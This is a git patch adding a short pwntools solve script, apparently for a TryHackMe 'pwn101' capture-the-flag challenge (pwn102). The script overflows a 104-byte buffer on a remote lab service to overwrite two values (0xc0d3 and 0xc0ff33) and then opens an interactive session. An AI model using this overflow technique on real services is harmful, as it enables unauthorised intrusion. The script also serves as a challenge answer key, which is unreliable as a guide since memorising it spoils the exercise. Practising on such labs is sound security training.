From 5bdccf9a913ee54a94d79ed44e047f5b147a5ddf Mon Sep 17 00:00:00 2001 From: jc Date: Sun, 27 Oct 2024 22:35:45 +0300 Subject: [PATCH] solve script --- thm_pwn101/pwn102/a.py | 18 ++++++++++++++++++ 1 file changed, 18 insertions(+) create mode 100644 thm_pwn101/pwn102/a.py diff --git a/thm_pwn101/pwn102/a.py b/thm_pwn101/pwn102/a.py new file mode 100644 index 0000000..30a739b --- /dev/null +++ b/thm_pwn101/pwn102/a.py @@ -0,0 +1,18 @@ +#!/usr/bin/python3 + +from pwn import * + +context.binary = target = ELF("./pwn102", checksec=False) +# r = process() +r = remote("10.10.110.117", 9002) + +# funcs +s = lambda a: r.sendlineafter(b"? ", a) + +# buf +buf = b"A"*104 +buf += p32(0xc0d3) +buf += p32(0xc0ff33) +s(buf) + +r.interactive() \ No newline at end of file